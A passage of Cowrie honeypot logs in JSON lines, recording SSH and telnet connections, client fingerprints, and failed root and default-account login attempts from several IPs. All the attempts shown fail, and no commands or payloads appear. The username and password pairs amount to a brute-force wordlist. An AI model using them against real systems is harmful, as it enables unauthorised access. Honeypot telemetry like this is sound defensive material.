ssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:14.825403Z","src_ip":"95.38.165.118","session":"0bd7bf34d647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:15.336284Z","src_ip":"95.38.165.118","session":"0bd7bf34d647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:16.580748Z","src_ip":"95.38.165.118","session":"0bd7bf34d647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51094,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de46f01bc8f","protocol":"ssh","message":"New connection: 95.38.165.118:51094 (10.17.0.5:22) [session: 0de46f01bc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:20.769063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:20.895535Z","src_ip":"95.38.165.118","session":"0de46f01bc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:21.045203Z","src_ip":"95.38.165.118","session":"0de46f01bc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:21.792845Z","src_ip":"95.38.165.118","session":"0de46f01bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:22.954908Z","src_ip":"95.38.165.118","session":"0de46f01bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51106,"dst_ip":"10.17.0.5","dst_port":22,"session":"07bb7d9af73c","protocol":"ssh","message":"New connection: 95.38.165.118:51106 (10.17.0.5:22) [session: 07bb7d9af73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:25.446702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:25.538531Z","src_ip":"95.38.165.118","session":"07bb7d9af73c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:25.707438Z","src_ip":"95.38.165.118","session":"07bb7d9af73c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:26.996397Z","src_ip":"95.38.165.118","session":"07bb7d9af73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:28.612712Z","src_ip":"95.38.165.118","session":"07bb7d9af73c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":47208,"dst_ip":"159.203.135.109","dst_port":22,"session":"25ef94fc19c9","protocol":"ssh","message":"New connection: 103.27.238.114:47208 (159.203.135.109:22) [session: 25ef94fc19c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.208469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.213515Z","src_ip":"103.27.238.114","session":"25ef94fc19c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49928,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb9c0b84328d","protocol":"ssh","message":"New connection: 95.38.165.118:49928 (10.17.0.5:22) [session: fb9c0b84328d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.224741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.256030Z","src_ip":"95.38.165.118","session":"fb9c0b84328d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.399939Z","src_ip":"95.38.165.118","session":"fb9c0b84328d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:31.477318Z","src_ip":"103.27.238.114","session":"25ef94fc19c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felix","message":"login attempt [root/felix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:32.268964Z","src_ip":"103.27.238.114","session":"25ef94fc19c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:32.542663Z","src_ip":"95.38.165.118","session":"fb9c0b84328d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:33.535564Z","src_ip":"103.27.238.114","session":"25ef94fc19c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"53892fea5789","protocol":"ssh","message":"New connection: 185.40.30.168:46240 (159.203.135.109:22) [session: 53892fea5789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:34.547138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:34.552004Z","src_ip":"185.40.30.168","session":"53892fea5789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:34.677143Z","src_ip":"185.40.30.168","session":"53892fea5789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:34.973179Z","src_ip":"95.38.165.118","session":"fb9c0b84328d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123456","message":"login attempt [root/QAZwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:35.209054Z","src_ip":"185.40.30.168","session":"53892fea5789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:36.348330Z","src_ip":"185.40.30.168","session":"53892fea5789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53554,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e076dddd5d2","protocol":"ssh","message":"New connection: 95.38.165.118:53554 (10.17.0.5:22) [session: 7e076dddd5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:36.758304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:36.763658Z","src_ip":"95.38.165.118","session":"7e076dddd5d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:36.926790Z","src_ip":"95.38.165.118","session":"7e076dddd5d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:38.412499Z","src_ip":"95.38.165.118","session":"7e076dddd5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:39.596778Z","src_ip":"95.38.165.118","session":"7e076dddd5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":53566,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0789191c9e","protocol":"ssh","message":"New connection: 95.38.165.118:53566 (10.17.0.5:22) [session: 4b0789191c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:42.029920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:42.036370Z","src_ip":"95.38.165.118","session":"4b0789191c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:42.816299Z","src_ip":"95.38.165.118","session":"4b0789191c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:44.030491Z","src_ip":"95.38.165.118","session":"4b0789191c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:45.207895Z","src_ip":"95.38.165.118","session":"4b0789191c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36858,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cd32661713","protocol":"telnet","message":"New connection: 69.4.83.194:36858 (159.203.135.109:23) [session: 95cd32661713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:47.593353Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56422,"dst_ip":"10.17.0.5","dst_port":22,"session":"2edcde1683d9","protocol":"ssh","message":"New connection: 95.38.165.118:56422 (10.17.0.5:22) [session: 2edcde1683d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:48.190630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:48.450144Z","src_ip":"95.38.165.118","session":"2edcde1683d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:48.455524Z","src_ip":"95.38.165.118","session":"2edcde1683d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60392,"dst_ip":"10.17.0.5","dst_port":22,"session":"8922b14c79dc","protocol":"ssh","message":"New connection: 194.113.233.25:60392 (10.17.0.5:22) [session: 8922b14c79dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:54:49.837065Z"}
